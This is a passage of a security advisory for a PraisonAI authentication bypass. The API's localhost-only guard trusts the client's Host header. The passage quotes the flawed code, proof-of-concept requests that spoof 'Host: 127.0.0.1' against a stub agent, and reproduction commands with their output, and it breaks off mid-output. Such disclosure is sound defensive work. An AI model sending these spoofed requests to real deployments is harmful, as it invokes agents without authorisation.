CVE-2026-61435: Improper Authentication in MervinPraison PraisonAI

# Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo